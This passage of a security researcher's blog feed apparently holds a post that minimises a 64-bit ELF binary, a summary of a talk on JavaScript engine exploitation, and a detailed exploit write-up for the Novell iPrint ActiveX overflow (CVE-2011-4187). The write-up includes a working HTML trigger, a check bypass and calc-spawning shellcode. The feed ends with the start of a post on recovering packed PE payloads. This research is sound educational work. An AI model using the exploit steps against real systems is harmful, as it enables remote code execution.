00000050: 7800 4000 0000 0000 0000 4000 0000 0000  x.@.......@.....
00000060: b000 0000 0000 0000 b000 0000 0000 0000  ................
00000070: 0010 0000 0000 0000                      ........
</code></pre>
<h3 id="smallest-possible-code">Smallest possible code</h3>
<p>Considering the previous conditions, our new code must include a routine to properly exit the program. We could try something like this:</p>
<pre><code class="language-asm">mov rax, 0x3C   ; set exit syscall
syscall         ; call exit
</code></pre>
<p>Yes, we did omit the <code>rdi</code> register containing the value to be returned by the program. We don&rsquo;t really care, the return value is not a condition. We&rsquo;ll let the program return whatever will be in the register.</p>
<p>Once converted to opcodes we get <code>b8 3c 00 00 00 0f 05</code>, so <strong>7</strong> bytes. Instead of using a <code>mov</code> instruction, let&rsquo;s use <code>push</code> and <code>pop</code> for the same result.</p>
<pre><code class="language-asm">push 0x3C       ; set exit syscall
pop rax
syscall         ; call exit
</code></pre>
<p>This gets us the opcodes <code>6a 3c 58 0f 05</code> (<strong>5</strong> bytes) which is slightly better, we&rsquo;ll stick with that one. Let&rsquo;s append it to our header and run it!</p>
<pre><code>00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 7800 4000 0000 0000  ..&gt;.....x.@.....
00000020: 4000 0000 0000 0000 0000 0000 0000 0000  @...............
00000030: 0000 0000 4000 3800 0100 0000 0000 0000  ....@.8.........
00000040: 0100 0000 0700 0000 7800 0000 0000 0000  ........x.......
00000050: 7800 4000 0000 0000 0000 4000 0000 0000  x.@.......@.....
00000060: b000 0000 0000 0000 b000 0000 0000 0000  ................
00000070: 0010 0000 0000 0000 6a3c 580f 05         ........j&lt;X..
</code></pre>
<p>We notice that the program runs fine and even returns the default <strong>zero</strong> value.</p>
<pre><code class="language-bash">$ ./smallest_elf_v2.bin
$ echo $?
0
</code></pre>
<p>New size: 125 bytes.</p>
<h3 id="going-beyond-the-documentation">Going beyond the documentation</h3>
<p>Actually we can still save a few bytes by taking advantage of the fact that some portions of the header will not be verified upon execution. For example the 7-bytes &ldquo;padding&rdquo; after the magic byte or the last elements of the ELF header.</p>
<p>First, let&rsquo;s move our actual code, from the end of the program, directly inside the padding of the ELF header, and update the offsets accordingly. It will no longer be located at <strong>0x78</strong>, but <strong>0x08</strong>.</p>
<p>Then, let&rsquo;s overlap the ELF header and the program header at the very end of the ELF header, by starting the program header at offset <strong>0x38</strong> instead of <strong>0x40</strong>. This works because the original overwritten data is <code>0100 0000</code>, and our program header starts with <code>0100 0000</code> as well.</p>
<p>Which gives us the following binary:</p>
<pre><code>00000000: 7f45 4c46 0201 0100 6a3c 580f 0500 0000  .ELF....j&lt;X.....
00000010: 0200 3e00 0100 0000 0800 4000 0000 0000  ..&gt;.......@.....
00000020: 3800 0000 0000 0000 0000 0000 0000 0000  8...............
00000030: 0000 0000 4000 3800 0100 0000 0700 0000  ....@.8.........
00000040: 0800 0000 0000 0000 0800 4000 0000 0000  ..........@.....
00000050: 0000 4000 0000 0000 b000 0000 0000 0000  ..@.............
00000060: b000 0000 0000 0000 0010 0000 0000 0000  ................
</code></pre>
<p>New size: 112 bytes.</p>
<h3 id="tricks-and-more-tricks">Tricks and more tricks</h3>
<p>The previous idea of overlapping the two headers can actually be applied to a larger scale.</p>
<p>The range from <strong>0x18</strong> to <strong>0x40</strong> can actually contain both ELF header and program header overlapped. The values that can be modified without impacting the program&rsquo;s functionality are in bold.</p>
<table>
<thead>
<tr>
<th>Original ELF header</th>
<th>Original program header</th>
<th>New overlapped header</th>
</tr>
</thead>
<tbody>
<tr>
<td>08</td>
<td>01</td>
<td>01</td>
</tr>
<tr>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>40</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>00</td>
<td>07</td>
<td>01</td>
</tr>
<tr>
<td>00</td>
<td><strong>00</strong></td>
<td>00</td>
</tr>
<tr>
<td>00</td>
<td><strong>00</strong></td>
<td>00</td>
</tr>
<tr>
<td>00</td>
<td><strong>00</strong></td>
<td>00</td>
</tr>
<tr>
<td>38</td>
<td>08</td>
<td>18</td>
</tr>
<tr>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td><strong>00</strong></td>
<td>08</td>
<td>18</td>
</tr>
<tr>
<td><strong>00</strong></td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td><strong>00</strong></td>
<td>40</td>
<td>00</td>
</tr>
<tr>
<td><strong>00</strong></td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td><strong>00</strong></td>
<td>00</td>
<td>01</td>
</tr>
<tr>
<td><strong>00</strong></td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td><strong>00</strong></td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td><strong>00</strong></td>
<td><strong>00</strong></td>
<td>00</td>
</tr>
<tr>
<td><strong>00</strong></td>
<td><strong>00</strong></td>
<td>00</td>
</tr>
<tr>
<td><strong>00</strong></td>
<td><strong>40</strong></td>
<td>01</td>
</tr>
<tr>
<td><strong>00</strong></td>
<td><strong>00</strong></td>
<td>00</td>
</tr>
<tr>
<td>40</td>
<td><strong>00</strong></td>
<td>00</td>
</tr>
<tr>
<td>00</td>
<td><strong>00</strong></td>
<td>00</td>
</tr>
<tr>
<td>38</td>
<td><strong>00</strong></td>
<td>38</td>
</tr>
<tr>
<td>00</td>
<td><strong>00</strong></td>
<td>00</td>
</tr>
<tr>
<td>01</td>
<td>B0</td>
<td>01</td>
</tr>
<tr>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td><strong>00</strong></td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td><strong>00</strong></td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>07</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td>00</td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td><strong>00</strong></td>
<td>00</td>
<td>00</td>
</tr>
<tr>
<td><strong>00</strong></td>
<td>00</td>
<td>00</td>
</tr>
</tbody>
</table>
<p>By modifying the image address of our program and relocating our code right after the magic number, we get this executable of <strong>80 bytes</strong>:</p>
<pre><code>00000000: 7f45 4c46 6a3c 580f 0500 0000 0000 0000  .ELFj&lt;X.........
00000010: 0200 3e00 0100 0000 0100 0000 0100 0000  ..&gt;.............
00000020: 1800 0000 0000 0000 1800 0000 0100 0000  ................
00000030: 0000 0100 0000 3800 0100 0000 0000 0000  ......8.........
00000040: 0100 0000 0000 0000 0000 0000 0000 0000  ................
</code></pre>
<p>What we notice first is that most tools are lost with this binary. The Linux <code>file</code> command can only tell that this is an ELF, and <code>readelf</code> doesn&rsquo;t like it either.</p>
<pre><code class="language-bash">$ file smallest_elf.bin
smallest_elf.bin: ELF (AROS Research Operating System), unknown class 106

$ readelf -a smallest_elf.bin
ELF Header:
  Magic:   7f 45 4c 46 6a 3c 58 0f 05 00 00 00 00 00 00 00
  Class:                             &lt;unknown: 6a&gt;
  Data:                              &lt;unknown: 3c&gt;
  Version:                           88 &lt;unknown&gt;
  OS/ABI:                            AROS
  ABI Version:                       5
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x1
  Start of program headers:          1 (bytes into file)
  Start of section headers:          24 (bytes into file)
  Flags:                             0x0
  Size of this header:               24 (bytes)
  Size of program headers:           0 (bytes)
  Number of program headers:         1
  Size of section headers:           0 (bytes)
  Number of section headers:         0
  Section header string table index: 1 &lt;corrupt: out of range&gt;
readelf: Warning: possibly corrupt ELF file header - it has a non-zero section header offset, but no section headers

There are no sections to group in this file.

There is no dynamic section in this file.
</code></pre>
<p>Same thing for GDB debugger, it doesn&rsquo;t recognize this file and refuses to debug it: <em>not in executable format: file format not recognized</em>.</p>
<p>But all things considered, this program actually runs fine and respects all our conditions:</p>
<pre><code class="language-bash"># Normal run
$ ./smallest_elf.bin
$ echo $?
0

# Checking with strace
$ strace ./smallest_elf.bin
execve(&quot;./smallest_elf.bin&quot;, [&quot;./smallest_elf.bin&quot;], 0x7fffd6fb2730 /* 25 vars */) = 0
exit(0)                                 = ?
+++ exited with 0 +++
</code></pre>
<p>New size: 80 bytes.</p>
<p>Just for the art, let&rsquo;s clean up the executable by setting to zero all bytes that are not needed.</p>
<pre><code>00000000: 7f45 4c46 6a3c 580f 0500 0000 0000 0000  .ELFj&lt;X.........
00000010: 0200 3e00 0000 0000 0100 0000 0100 0000  ..&gt;.............
00000020: 1800 0000 0000 0000 1800 0000 0100 0000  ................
00000030: 0000 0000 0000 3800 0100 0000 0000 0000  ......8.........
00000040: 0100 0000 0000 0000 0000 0000 0000 0000  ................
</code></pre>
<h3 id="is-it-the-end">Is it the end?</h3>
<p>We have probably reached the limits of the ELF 64 bits format, we produced the smallest 64 bits ELF possible that does not crash upon execution and correctly exits with a 0 status code.</p>
<p>Final size: 80 bytes.</p>
<p>Final binary:</p>
<pre><code>7f454c46 6a3c580f 05000000 00000000 02003e00 00000000 01000000
01000000 18000000 00000000 18000000 01000000 00000000 00003800
01000000 00000000 01000000 00000000 00000000 00000000
</code></pre>]]></description>
    </item>
    <item>
      <title>Javascript engine exploitation methodology</title>
      <link>https://sigreturn.com/blog/javascript-engine-exploitation-methodology/</link>
      <guid isPermaLink="true">https://sigreturn.com/blog/javascript-engine-exploitation-methodology/</guid>
      <pubDate>Thu, 25 May 2023 12:00:00 +0000</pubDate>
      <author>contact@sigreturn.com (Adam Taguirov)</author>
      <category>Vulnerability Research</category>
      <category>browser</category>
      <category>javascript</category>
      <category>exploitation</category>
      <category>talk</category>
      <description><![CDATA[<p>JavaScript engines are now one of the most attacked surfaces of modern operating systems. They run untrusted code from arbitrary websites the moment a tab opens, sit on top of multi-million-line JIT compilers (V8, JavaScriptCore, SpiderMonkey), and have access to a sandbox that, once broken out of, often leads straight to remote code execution on the host. The bug classes that dominate browser CVE lists today (typer mistakes in JIT optimisation, type confusion on object shapes, edge cases in property accessors and bounds elimination) all live inside this layer.</p>
<p>The talk below walks through the general methodology of approaching such an engine for offensive research: how to read the relevant parts of a multi-million-line C++ codebase, how to recognise the primitive shapes that lead to <code>addrof</code> / <code>fakeobj</code>, and how those primitives compose into a renderer-RCE chain.</p>
<p>It was given in French at the <strong>Quarks in the Shell 2023</strong> conference, organised by <a href="https://content.quarkslab.com/event-quarks-in-the-shell-2023-ads">Quarkslab</a>.</p>
<p>For the written, generalized version of this material across JavaScriptCore and V8, see <a href="/blog/exploiting-javascript-engines/">Exploiting JavaScript engines: from type confusion to code execution</a>.</p>
<iframe src="https://www.youtube-nocookie.com/embed/VaaXB8mrtL0" title="Javascript engine exploitation methodology: Quarks in the Shell 2023" allow="accelerometer; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen loading="lazy"></iframe>]]></description>
    </item>
    <item>
      <title>ActiveX controller exploitation</title>
      <link>https://sigreturn.com/blog/vulnerability-research-activex-controller-exploitation/</link>
      <guid isPermaLink="true">https://sigreturn.com/blog/vulnerability-research-activex-controller-exploitation/</guid>
      <pubDate>Sat, 28 May 2022 12:00:00 +0000</pubDate>
      <author>contact@sigreturn.com (Adam Taguirov)</author>
      <category>Vulnerability Research</category>
      <category>cve</category>
      <category>reverse-engineering</category>
      <category>exploitation</category>
      <category>windows</category>
      <category>buffer-overflow</category>
      <category>activex</category>
      <description><![CDATA[<div class="admonition note">
<p class="admonition-title">CVE-2011-4187</p>
<p>Stack buffer overflow in <code>IppGetDriverSettings2</code> (<code>nipplib.dll</code>, Novell iPrint Client &lt; 5.78). Reachable from a web page via the iPrint ActiveX controller (CLSID <code>36723F97-7AA0-11D4-8919-FF2D71D0D32C</code>) on Windows XP. No public exploit at the time of research.</p>
</div>
<h2 id="target">Target</h2>
<p>The starting point was a CVE number and a one-line summary on cvedetails:</p>
<blockquote>
<p>Buffer overflow in the <strong>GetDriverSettings</strong> function in <strong>nipplib.dll</strong> in Novell iPrint Client before 5.78 on Windows allows remote attackers to execute arbitrary code via a long realm field, a different vulnerability than CVE-2011-3173.</p>
</blockquote>
<p>No public exploit, almost no third-party write-up. The client only installs on Windows XP, so the whole engagement runs on a Windows XP SP3 VM with a Windows 10 SDK box for tooling.</p>
<p>The iPrint client ships an ActiveX controller. The CLSID can be retrieved by searching the registry for <code>Novell iPrint</code>:</p>
<p><img alt="Registry Editor entry showing the iPrint controller CLSID" src="img/registry_window.png" loading="lazy" decoding="async" width="1440" height="477"></p>
<p>The controller is implemented in <code>ienipp.ocx</code> (in <code>C:\Windows\system32\</code>), with the heavy lifting delegated to <code>nipplib.dll</code> in the same directory. Browsing <code>ienipp.ocx</code> with the OLE/COM Object Viewer from the Windows 10 SDK lists the public methods, including <code>GetDriverSettings</code> (the named CVE target) and a <code>GetDriverSettings2</code> variant.</p>
<p><img alt="OLE/COM Object Viewer browsing the methods exposed by ienipp.ocx" src="img/browsing_ocx_file.png" loading="lazy" decoding="async" width="1440" height="1136"></p>
<p>The controller can be instantiated and invoked from an HTML page in Internet Explorer:</p>
<pre><code class="language-html">&lt;html&gt;
&lt;object classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C' id='target'/&gt;
&lt;/object&gt;
&lt;script&gt;
target.GetDriverSettings(&quot;uri&quot;, &quot;realm&quot;, &quot;user&quot;, &quot;password&quot;);
&lt;/script&gt;
&lt;/html&gt;
</code></pre>
<p>A quick sanity check using the controller&rsquo;s <code>ShowMessageBox</code> method confirmed the CLSID and the call convention before going further.</p>
<h2 id="reaching-the-vulnerable-function">Reaching the vulnerable function</h2>
<p>Loading <code>ienipp.ocx</code> in IDA (it auto-pulls <code>nipplib.dll</code>) and following xrefs to <code>IppGetDriverSettings2</code> lands on a single call site at <code>ienipp.ocx:0x1000AE54</code>. The block leading to that call enforces several conditions:</p>
<p><img alt="Control flow leading to the vulnerable IppGetDriverSettings2 call site" src="img/cftovuln.png" loading="lazy" decoding="async" width="1048" height="1326"></p>
<p>The first gate is a length check on each of the four method parameters (<code>printerUri</code>, <code>realm</code>, <code>userName</code>, <code>password</code>). Anything above <code>0x100</code> bytes per parameter aborts before the call. The second gate is a function called <code>sub_1000FBD0</code> (renamed <code>important_check</code>) whose return value selects the next jump:</p>
<p><img alt="main_checks block: important_check return value gates the vulnerable call" src="img/main_checks.png" loading="lazy" decoding="async" width="1142" height="1442"></p>
<p><code>important_check</code> is a thin wrapper around <code>IppMgmtGetServerVersion2</code>, exported by <code>nipplib.dll</code>. The wrapper returns 0 (which the callsite treats as success and proceeds to the vulnerable call) when <code>IppMgmtGetServerVersion2</code> itself returns 0.</p>
<p><code>IppMgmtGetServerVersion2</code> is a one-line forwarder to <code>sub_5C04B514</code>, where the actual logic lives:</p>
<p><img alt="Control flow graph of sub_5C04B514" src="img/sub_5C04B514.png" loading="lazy" decoding="async" width="1440" height="1373"></p>
<p>A first-pass reading suggests this function performs the IPP server handshake on port 631 and only succeeds when a real server replies correctly. That would mean emulating an IPP server before any vulnerability work is possible. Reading the CFG without that assumption reveals a more useful structure.</p>
<p>The first conditional jump branches on <code>IppCreateServerRef</code>&rsquo;s return value:</p>
<p><img alt="First conditional jump in sub_5C04B514, branching on IppCreateServerRef" src="img/first_jump.png" loading="lazy" decoding="async" width="1440" height="1120"></p>
<p>If <code>IppCreateServerRef</code> returns <code>NULL</code>, control flow lands directly on a <code>mov eax, 0; ret</code> block. The function returns <code>0</code>, which is the success code for <code>IppMgmtGetServerVersion2</code>. An allocation/setup failure is being treated as a successful version probe. The IPP handshake never runs, no port 631, no negotiation. The vulnerable call site is reached as long as <code>IppCreateServerRef</code> fails, which is the opposite of what the rest of the function is trying to achieve.</p>
<h2 id="forcing-ippcreateserverref-to-fail">Forcing IppCreateServerRef to fail</h2>
<p><code>IppCreateServerRef</code> calls a helper <code>sub_50022960</code> and propagates its return value: non-zero from the helper means failure for <code>IppCreateServerRef</code>, which is what is needed.</p>
<p><code>sub_50022960</code> performs two length checks on the <code>printerUri</code> argument. The first is on the total URL length (capped at <code>0x200</code>), but that ceiling is already enforced upstream by the per-parameter <code>0x100</code> cap, so it cannot be tripped here without violating the upstream gate. The second check, located further into the function, validates the length of the substring preceding <code>://</code>:</p>
<p><img alt="Length check on the URL prefix before &quot;://&quot;" src="img/searching_fail_bloc_3.png" loading="lazy" decoding="async" width="1440" height="647"></p>
<p>If that prefix exceeds <code>0x100</code> bytes, the function fails. The constraint is therefore:</p>
<ul>
<li>prefix before <code>://</code> must be longer than <code>0x100</code> bytes (to fail <code>sub_50022960</code>),</li>
<li>total URL length must stay under <code>0x200</code> bytes (to pass the <code>ienipp.ocx</code> per-parameter gate).</li>
</ul>
<p>A URL of the form <code>&lt;260-byte garbage&gt;://&lt;short-suffix&gt;</code> satisfies both. With this, <code>IppCreateServerRef</code> returns <code>NULL</code>, <code>IppMgmtGetServerVersion2</code> returns <code>0</code>, <code>important_check</code> returns <code>0</code>, and <code>IppGetDriverSettings2</code> is invoked with attacker-controlled arguments.</p>
<h2 id="the-buffer-overflow">The buffer overflow</h2>
<p><code>IppGetDriverSettings2</code> itself contains one more gate before any vulnerable code: an <code>strstr</code> looking for the literal <code>iPrint-driver-profile-hiddenPA</code> inside the URL.</p>
<p><img alt="strstr check on iPrint-driver-profile-hiddenPA" src="img/check_before_vuln_code.png" loading="lazy" decoding="async" width="1440" height="591"></p>
<p>Including that substring in the URL passes the check. There is presumably a legitimate reason for it inside the driver profile flow; for the purpose of reaching the bug it is enough to embed it in the suffix.</p>
<p>Past that gate, the <code>realm</code> parameter is fed unchecked into a <code>strcpy</code> whose destination is a fixed-size stack buffer:</p>
<p><img alt="strcpy taking realm as source, with no length check on the destination" src="img/interesting_strcpy.png" loading="lazy" decoding="async" width="500" height="882"></p>
<p>A <code>realm</code> of, say, <code>0x180</code> bytes overflows the buffer well into the saved return address territory.</p>
<h2 id="exploitation">Exploitation</h2>
<h3 id="crashing-on-the-saved-eip">Crashing on the saved EIP</h3>
<p>The first crash, with <code>realm</code> filled with <code>A</code>s up to the upstream cap, lands inside a <code>strlen</code>:</p>
<p><img alt="Initial crash inside strlen, EBX = 0x41414141" src="img/inspect_registers.png" loading="lazy" decoding="async" width="1440" height="404"></p>
<p>The overflow happened, but execution has already corrupted a pointer (EBX) used by a later function in the same frame, before the function returns. The crash is on a downstream consumer, not on the saved EIP.</p>
<p>The remedy is a shorter <code>realm</code>. The buffer is overrun precisely up to the saved EIP, no further:</p>
<p><img alt="Crash with EIP = 0x41414141 after the ret instruction" src="img/correct_crash.png" loading="lazy" decoding="async" width="1440" height="493"></p>
<p>EIP is now under control. There are no DEP/ASLR concerns to discuss on Windows XP SP3 in this configuration.</p>
<h3 id="placing-a-shellcode">Placing a shellcode</h3>
<p>The realm field is too constrained to host both the EIP overwrite and a shellcode. The other method parameters, however, are pushed on the stack ahead of <code>realm</code> and are not subject to the same downstream processing. <code>userName</code> is the natural carrier.</p>
<p>A pop-calc shellcode for Windows XP SP3 EN (<a href="http://shell-storm.org/shellcode/files/shellcode-739.php">shell-storm 739</a>):</p>
<pre><code class="language-asm">&quot;\x31\xC9&quot;             // xor ecx,ecx
&quot;\x51&quot;                 // push ecx
&quot;\x68\x63\x61\x6C\x63&quot; // push 0x636c6163  ('calc')
&quot;\x54&quot;                 // push esp
&quot;\xB8\xC7\x93\xC2\x77&quot; // mov  eax, 0x77c293c7
&quot;\xFF\xD0&quot;             // call eax
</code></pre>
<p><code>xxd -p -r</code> is enough to splice the bytes into the HTML payload&rsquo;s <code>userName</code> argument.</p>
<h3 id="reading-the-shellcode-address">Reading the shellcode address</h3>
<p>Running a non-malicious payload (long realm prefix to satisfy the bypass, but no overflow on <code>realm</code>) and breakpointing on <code>IppGetDriverSettings2</code> exposes its arguments on the stack. The third argument (<code>userName</code>) holds the buffer address:</p>
<p><img alt="Stack frame at IppGetDriverSettings2: userName address visible" src="img/get_sc_address.png" loading="lazy" decoding="async" width="1440" height="784"></p>
<p><code>0x02843728</code> for this run. The Windows XP SP3 process layout is stable enough across launches that this address holds for the next call as long as the process is not restarted.</p>
<h3 id="final-payload">Final payload</h3>
<p>Replacing the <code>0x41414141</code> filler at the saved-EIP offset with <code>0x02843728</code> (little-endian) redirects execution into the shellcode after the <code>ret</code>:</p>
<pre><code class="language-html">&lt;html&gt;
&lt;object classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C' id='target'/&gt;
&lt;/object&gt;
&lt;script&gt;
target.GetDriverSettings(
  &quot;&lt;260-byte garbage&gt;://iPrint-driver-profile-hiddenPA&quot;,
  &quot;&lt;padding up to saved EIP&gt;&lt;\x28\x37\x84\x02&gt;&quot;,
  &quot;&lt;calc shellcode bytes&gt;&quot;,
  &quot;A&quot;);
&lt;/script&gt;
&lt;/html&gt;
</code></pre>
<p>Loading the page in Internet Explorer:</p>
<p><img alt="calc.exe spawned by the iPrint ActiveX controller" src="img/win.png" loading="lazy" decoding="async" width="1440" height="636"></p>
<p>Arbitrary code execution from a single HTML page, no IPP server.</p>
<h2 id="failed-paths">Failed paths</h2>
<p>Two earlier attempts did not reach the result and are worth recording.</p>
<h3 id="emulating-the-ipp-server">Emulating the IPP server</h3>
<p>Before noticing the <code>IppCreateServerRef</code>-fails-as-success path, the obvious approach was to make <code>IppMgmtGetServerVersion2</code> succeed legitimately by serving the requests it issues to port 631. Capturing the request with <code>nc -lvp 631</code> showed:</p>
<pre><code>POST /ipp/IppSrvr HTTP/1.1
Accept: application/ipp
User-Agent: Novell iPrint Client - v05.74.00
Content-type: application/ipp
...

@G..attributes-charset.utf-8.H..attributes-natural-language.en-us.D.operation-name.get-server-version.server-version.1.1
</code></pre>
<p>Reverse of the response-validation function (<code>nipplib.5C0450B3</code>) listed the constraints: a 2-byte version-number that must be <code>0x100</code> or <code>0x101</code>, a valid IPP HTTP header (taken verbatim from a CUPS server&rsquo;s reply), and a <code>server-version</code> attribute located via <code>IppFindAttributeInSet</code>. Encoding the attribute group correctly required reading <a href="https://datatracker.ietf.org/doc/html/rfc8010">RFC 8010</a>. The reply parsed up to a point, but every iteration crashed inside a <code>strlen</code> on a <code>NULL</code> argument, suggesting another mandatory attribute or data field that was not being supplied. The path was abandoned when the logic-bug shortcut surfaced.</p>
<h3 id="overflowing-the-ciphertext-not-the-cleartext">Overflowing the ciphertext, not the cleartext</h3>
<p>While searching for the right <code>realm</code> length, a shorter input did not overflow the saved EIP directly but did corrupt it through a second buffer. A function downstream of the <code>strcpy</code> runs the <code>realm</code> value through an internal block cipher (8-byte blocks, key in <code>.data</code>, output written via <code>sprintf("%02hhX", b)</code> into a separate stack buffer that is twice the input length). When the input is short enough to bypass the first overflow and long enough to overrun the ciphertext buffer, EIP is controlled, but only via the hex-string output of <code>sprintf</code>.</p>
<p>The cipher was small enough to port to C and run offline, with the seed key recovered from memory:</p>
<pre><code class="language-c">unsigned int shift_on_key(unsigned int tmp_bloc) {
    unsigned int idx;
    unsigned int s1, s2, s3, s4;

    idx = ((tmp_bloc &gt;&gt; 24) &amp; 0xff) * 4 + 0x048;
    s1  = *((unsigned int *)the_key + idx / sizeof(unsigned int));
    idx = ((tmp_bloc &gt;&gt; 16) &amp; 0xff) * 4 + 0x448;
    s2  = *((unsigned int *)the_key + idx / sizeof(unsigned int));
    idx = ((tmp_bloc &gt;&gt;  8) &amp; 0xff) * 4 + 0x848;
    s3  = *((unsigned int *)the_key + idx / sizeof(unsigned int));
    idx =  (tmp_bloc        &amp; 0xff) * 4 + 0xc48;
    s4  = *((unsigned int *)the_key + idx / sizeof(unsigned int));
    return (((s2 + s1) ^ s3) + s4);
}

/* get_new_key derives (key_part1, key_part2) from the previous key
   through 18 rounds of shift_on_key + xor with the static key blocs. */

int main(int argc, char **argv) {
    char *entry = argv[1];
    int i = 0;
    get_new_key(key, the_key);
    while (entry[i]) {
        for (int b = 0; b &lt; 8; b++) {
            unsigned int kpart = (b &lt; 4) ? key_part1 : key_part2;
            unsigned int sh    = (3 - (b &amp; 3)) * 8;
            if (entry[i]) newbuf[i] = entry[i] ^ ((kpart &gt;&gt; sh) &amp; 0xff);
            i++;
        }
        /* feed back the swapped output bloc as the next &quot;old key&quot; and re-derive */
        ...
        get_new_key(key, the_key);
    }
    /* hex-encode newbuf into realbuf with sprintf(&quot;%02hhX&quot;, ...) */
}
</code></pre>
<p>A search produced an input ending in <code>\xAA\xAA</code>, whose hex encoding is <code>"AAAA"</code>, giving EIP = <code>0x41414141</code>:</p>
<pre><code>./a.out $(python -c 'print &quot;B&quot;*132 + &quot;\x43\x90&quot;')
... 3CCAF8EFDA95CFDA49177C2EAAAA
</code></pre>
<p>EIP control via the ciphertext path is real, but the path is dead. <code>sprintf("%02hhX", b)</code> emits two ASCII hex digits per byte, so each EIP byte is constrained to <code>0x30..0x39</code> or <code>0x41..0x46</code>. No address in the loaded modules or on the stack falls in that alphabet, and the shellcode has no leverage to encode arbitrary bytes through the cipher. The longer-payload approach above sidesteps this entirely.</p>
<h2 id="takeaways">Takeaways</h2>
<ul>
<li>Error and allocation paths are often the most valuable to read carefully. The <code>IppCreateServerRef</code>-returns-NULL branch was a complete bypass of the protocol-handshake gate, and it was visible in the CFG without any dynamic analysis.</li>
<li>Length caps distributed across binaries can be played against each other. The upstream <code>0x200</code> cap on the URL is what made the inner <code>0x100</code> prefix check trippable.</li>
<li>A failed exploitation path is still worth reproducing far enough to understand why it fails. Recovering the realm-cipher in C produced a clean structural reason to drop the path, rather than a vague &ldquo;didn&rsquo;t work&rdquo;.</li>
<li>On systems without DEP/ASLR, the gap between EIP control and arbitrary code execution is mostly bookkeeping. The harder problem in this CVE was reaching the vulnerable function at all.</li>
</ul>]]></description>
    </item>
    <item>
      <title>Recovering payloads from PE resources</title>
      <link>https://sigreturn.com/blog/recovering-payloads-from-pe-resources/</link>
      <guid isPermaLink="true">https://sigreturn.com/blog/recovering-payloads-from-pe-resources/</guid>
      <pubDate>Fri, 15 Apr 2022 12:00:00 +0000</pubDate>
      <author>contact@sigreturn.com (Adam Taguirov)</author>
      <category>Reverse Engineering</category>
      <category>malware</category>
      <category>packers</category>
      <category>windows</category>
      <category>pe</category>
      <category>reverse-engineering</category>
      <description><![CDATA[<p>When you pull apart a packed Windows binary, one of the first questions is always the same: where is the real payload, and how is it stored? A common answer is that it never left the file. The packer carried it along the whole time, compressed and tucked away inside the executable&rsquo;s resource section, and only revealed it in memory once the process was running.</p>
<p>This post walks through that technique, resource dropping, from the analyst&rsquo;s seat. To recover a payload that a packer stashed in the <code>.rsrc</code> section, you have to understand exactly how it got there, so we reconstruct the full chain: we hide a small binary inside a carrier, then write the unpacker that finds it, extracts it, and decompresses it back into memory. The recovery side is the point; the packing side is shown so you can recognise and reverse it.</p>
<p>We work with 64-bit PE (PE32+) binaries throughout, and we compile everything on Linux with mingw. The principle is identical for 32-bit (PE32). We will not re-explain what a packer is or detail the PE format here; the Wikipedia page on PE is excellent.</p>
<div class="admonition danger">
<p>The knowledge in this article is for strictly educational and defensive purposes: understanding how packers conceal code so you can analyse and recover it. Do not use these techniques to build or distribute malicious software. That is both unethical and illegal, and we accept no responsibility for misuse.</p>
</div>
<h2 id="prerequisites">Prerequisites</h2>
<p>To follow along and reproduce the work:</p>
<ul>
<li>A relatively recent Linux system.</li>
<li>The usual build tools (<code>gcc</code>, <code>make</code>).</li>
<li>The mingw cross-compiler and <code>windres</code> (the <code>gcc-mingw-w64-x86-64</code> package on Ubuntu 20.04).</li>
<li>The <code>zlib1g-dev</code> package.</li>
<li><code>readpe</code> (pev) to inspect PE sections.</li>
<li>A text editor.</li>
</ul>
<p>Unlike kernel work, nothing here puts your system at risk: it all compiles and runs as ordinary user-land code.</p>
<h2 id="vocabulary">Vocabulary</h2>
<p>A few terms are used precisely throughout:</p>
<ul>
<li><strong>Binary</strong>: a compiled object, such as an executable or a library.</li>
<li><strong>Payload</strong>: a piece of code or data necessary and sufficient to carry out some action inside a process, often malicious.</li>
<li><strong>Packing / unpacking</strong>: respectively, encrypting, compressing, or hiding a binary or payload, and the reverse, decrypting, decompressing, or revealing it.</li>
<li><strong>Packer / unpacker</strong>: the software (or the act) that performs packing and unpacking.</li>
</ul>
<h2 id="how-the-payload-is-hidden">How the payload is hidden</h2>
<p>Some packers and malware families hide secret code inside an executable that looks harmless at a glance. One way to do this is to store a payload, or an entire second executable, directly in the resource section (<code>.rsrc</code>) of the carrier binary, usually compressed and often encrypted. When the carrier runs, that hidden binary is unpacked in memory and used in the rest of the unpacking chain.</p>
<p>To recover such a payload we first need to understand how it was placed there. So we build the packing side ourselves: hide a small binary inside a carrier&rsquo;s resources, then retrieve and decompress it in memory. This is one method among many; real samples vary.</p>
<h3 id="the-payload-to-hide">The payload to hide</h3>
<p>The hidden binary is deliberately trivial. What it does is irrelevant; what matters is how it is concealed and recovered. So it is just a program that prints <code>Hello!</code>.</p>
<pre><code class="language-c">#include &lt;stdio.h&gt;

int main(void)
{
    printf(&quot;Hello !\n&quot;);

    return 0;
}
</code></pre>
<p>We compile it as a PE32+ executable with mingw:</p>
<pre><code>$ x86_64-w64-mingw32-gcc hidden.c -o hidden.exe
$ file hidden.exe
hidden.exe: PE32+ executable (console) x86-64, for MS Windows
</code></pre>
<h3 id="compressing-the-payload">Compressing the payload</h3>
